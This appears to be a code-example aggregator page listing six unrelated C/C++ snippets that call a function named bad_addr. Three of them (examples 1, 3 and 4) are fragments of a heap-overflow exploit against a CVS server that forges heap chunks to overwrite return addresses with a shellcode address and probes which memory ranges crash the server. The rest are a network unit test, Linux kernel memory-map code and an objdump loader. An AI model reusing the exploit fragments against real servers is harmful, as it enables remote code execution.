예제 #1
0
void                    memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
    int                 aff = (sz / 4) / PCNT, j;

    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    putchar('[');
    for (j = 0; j != PCNT; j++)
        putchar(' ');
    putchar(']');
    for (j = 0; j != PCNT + 1; j++)
        putchar('\b');
    fflush(stdout);
    for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
        {
            if (j == aff)
                {
                    putchar('#');
                    fflush(stdout);
                    j = 0;
                }
            if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
                nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
        }
    printf("#\t");
    fflush(stdout);
    return;
}
예제 #2
0
  TEST(EdgeTest, TcpFail)
  {
    Timer::GetInstance().UseRealTime();

    const TcpAddress addr("127.0.0.1", 33347);
    TcpEdgeListener te(addr);
    te.Start();
    MockEdgeHandler meh(&te);
    SignalCounter sc(1);
    QObject::connect(&te, SIGNAL(EdgeCreationFailure(const Address &, const QString &)),
        &sc, SLOT(Counter()));

    TcpAddress any;
    te.CreateEdgeTo(any);
    MockExecLoop(sc);
    EXPECT_EQ(sc.GetCount(), 1);
    sc.Reset();

    TcpAddress other_addr("255.255.255.255.", 1111);
    te.CreateEdgeTo(other_addr);
    MockExecLoop(sc);
    EXPECT_EQ(sc.GetCount(), 1);
    sc.Reset();

    TcpAddress bad_addr(QUrl("tcp://ha!"));
    te.CreateEdgeTo(bad_addr);
    MockExecLoop(sc);
    EXPECT_EQ(sc.GetCount(), 1);
    sc.Reset();

    TcpAddress another_addr("5.5.5.5", 12345);
    te.CreateEdgeTo(another_addr);
    MockExecLoop(sc);
    EXPECT_EQ(sc.GetCount(), 1);
  }
예제 #3
0
void                    memcpy_remote(ulong range, ulong addr, uchar * buf,
                                      int sz)
{
    int                 i;

    if (sz <= 0)
        return ;
    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
        {
            range &= 0xFFFFFF00;
            range += buf[i];
            if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
                nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
        }
    return;
}
예제 #4
0
int                     range_crashed(int addr, int addr2)
{
    char                * buf;

    cvs_conn();
    nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (; addr < addr2; addr += 8)
        if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
            nprintf(build_chunk(addr, addr + 4, cur_num++));
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
        || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
        {
            nclose();
            return (0);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    return (1);
}
예제 #5
0
/* 
 * Find a free area in a specific range. 
 */ 
unsigned long __init find_e820_area(unsigned long start, unsigned long end, unsigned size) 
{ 
	int i; 
	for (i = 0; i < e820.nr_map; i++) { 
		struct e820entry *ei = &e820.map[i]; 
		unsigned long addr = ei->addr, last; 
		if (ei->type != E820_RAM) 
			continue; 
		if (addr < start) 
			addr = start;
		if (addr > ei->addr + ei->size) 
			continue; 
		while (bad_addr(&addr, size) && addr+size < ei->addr + ei->size)
			;
		last = addr + size;
		if (last > ei->addr + ei->size)
			continue;
		if (last > end) 
			continue;
		return addr; 
	} 
	return -1UL;		
} 
예제 #6
0
static
void load_objdump (uint64_t n_bytes, void *memp)
{
    FILE *fpi;
    char line [LINESIZE], *p;
    int line_num, n, n_initialized, is_text_start = 0;
    uint64_t  addr_exp = 0, addr;
    uint8_t  *p1 = memp;    // Byte pointer
    uint32_t *p4;           // Word pointer
    uint32_t  instr;

    fpi = fopen (objdump_filename, "r");
    if (fpi == NULL) {
	fprintf (stderr, "ERROR: load_objdump: could not open objdump input file: %s\n",
		 objdump_filename);
	exit (1);
    }

    line_num  = 0;
    n_initialized = 0;
    while (1) {
	p = fgets (line, LINESIZE, fpi);
	if (p == NULL) break;
	line_num++;

	// Address lines, like:
	//     0000000000010000 <_start>:
	p = strstr (line, ">:");
	if (p != NULL) {
	    sscanf (line, "%" SCNx64, & addr);
	    if (addr < addr_exp) {
		fprintf (stderr,
			 "WARNING: load_objdump: expecting addr >= %0" PRIx64 ", but this line has addr %0" PRIx64 "\n",
			 addr_exp, addr);
	    }
	    addr_exp = addr;

	    // printf ("@%0" PRIx64 "    // L%0d: %s", addr_exp, line_num, line);

	    if (bad_addr (addr_exp, n_bytes)) goto err_exit;

	    if (addr_exp < min_addr) min_addr = addr_exp;
	    if (max_addr < addr_exp) max_addr = addr_exp;

	    // Execution should begin at 'boot_main'
	    p = strstr (line, "<boot_main>");
	    if (p != NULL) {
		printf ("INFO: load_objdump: 0x%0" PRIx64 "    L%0d: %s", addr_exp, line_num, line);
		pc_boot_main = addr_exp;
	    }

	    continue;
	}

	// Regular instruction lines, like:
	//     10000:    f7bf0013    add    sp,sp,-64
	n = sscanf (line, "%" SCNx64 ":%x", & addr, & instr);
	if (n == 2) {
	    // printf ("%08x    // L%0d: %s", instr, line_num, line);
	    if (bad_addr (addr, n_bytes)) goto err_exit;

	    if (addr_exp != addr) {
		fprintf (stderr,
			 "ERROR: load_objdump: expecting addr %0" PRIx64 ", but this line has addr %0" PRIx64 "\n",
			 addr_exp, addr);
		goto err_exit;
	    }

	    if (addr < min_addr) min_addr = addr;
	    if (max_addr < addr) max_addr = addr;
	    if (is_text_start) {
		min_text_addr = addr;
		printf ("INFO: load_objdump: Section .text starts at 0x%0" PRIx64 "\n", addr);
		is_text_start = 0;
	    }

	    p4 = (uint32_t *) (p1 + addr);
	    *p4 = instr;
	    n_initialized++;

	    addr_exp += 4;
	    continue;
	}

	// Detect start of text section
	p = strstr (line, "section .text:");
	if (p != NULL) {
	    is_text_start = 1;
	    continue;
	}

	// Detect end of text section (start of .rodata)
	p = strstr (line, "section .rodata:");
	if (p != NULL) {
	    printf ("INFO: load_objdump: Section .rodata starts at 0x%0" PRIx64 "\n", addr_exp);
	    printf ("      Setting .text end to 0x%0" PRIx64 "\n", addr_exp - 4);
	    max_text_addr = addr_exp - 4;
	    continue;
	}

	// Detect start of other necessary sections: .data, .bss
	p = strstr (line, "section .data:");
	if (p != NULL) {
	    printf ("INFO: load_objdump: Section .data found at 0x%0" PRIx64 "\n", addr_exp);
	    continue;
	}

	p = strstr (line, "section .bss:");
	if (p != NULL) {
	    printf ("INFO: load_objdump: Section .bss found at 0x%0" PRIx64 "\n", addr_exp);
	    continue;
	}

	// Quit at any other section
	p = strstr (line, "section");
	if (p != NULL) {
	    printf ("INFO: load_objdump: Quitting at: %s", line);
	    break;
	}

	// Ignore all other lines
	// printf ("// L%0d: %s", line_num, line);
    }

    printf ("INFO: load_objdump: %0d lines, %0d locations initialized\n", line_num, n_initialized);
    printf ("INFO: load_objdump: Min addr: 0x%0" PRIx64 "\n", min_addr);
    printf ("INFO: load_objdump: Max addr: 0x%0" PRIx64 "\n", max_addr);
    fclose (fpi);
    return;

  err_exit:
    fprintf (stderr, "    in line %0d: %s", line_num, line);
    exit (1);
}